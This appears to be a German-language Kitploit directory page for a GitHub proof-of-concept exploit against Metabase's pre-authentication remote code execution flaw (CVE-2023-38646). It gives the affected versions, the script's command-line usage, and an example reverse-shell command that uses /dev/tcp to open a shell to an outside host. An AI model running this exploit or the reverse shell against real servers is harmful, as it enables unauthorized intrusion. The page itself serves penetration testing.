Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-38646 — Exploit-Skript für Pre-Auth-RCE in Metabase (CVE-2023-38646) | Kitploit
Tools/GitHubGitHub/pyr0sec/cve-2023-38646
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRemote-Access-Tool
GitHubpyr0sec/cve-2023-38646

CVE-2023-38646

Exploit-Skript für Pre-Auth-RCE in Metabase (CVE-2023-38646)

Repository anzeigen
112vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Metabase Pre-Auth RCE (CVE-2023-38646) POC

Dies ist ein Python-Skript, das die Remote-Code-Ausführungssicherheitslücke der Anmeldesoftware von Metabase ausnutzt. Es ermöglicht uns, vor der Authentifizierung beliebige Befehle auf dem Server auszuführen.

Die anfälligen Versionen sind Metabase Open Source vor 0.46.6.1 und Metabase Enterprise vor 1.46.6.1

Verwendung

root@kitploit:~
python3 exploit.py -u URL -t TOKEN -c COMMAND

Argumente

root@kitploit:~
-h, --help            show this help message and exit
-u URL, --url URL     Target URL
-t TOKEN, --token TOKEN
                      Setup-Token found in /api/session/properties
-c COMMAND, --command COMMAND
                      Command to be executed in the target host

Beispiel

Bild

Verwendeter Befehl: bash -i >& /dev/tcp/10.10.14.26/9001 0>&1

Referenzen

Unser Weg zur Pre-Auth RCE in Metabase (CVE-2023-38646)

Tool herunterladen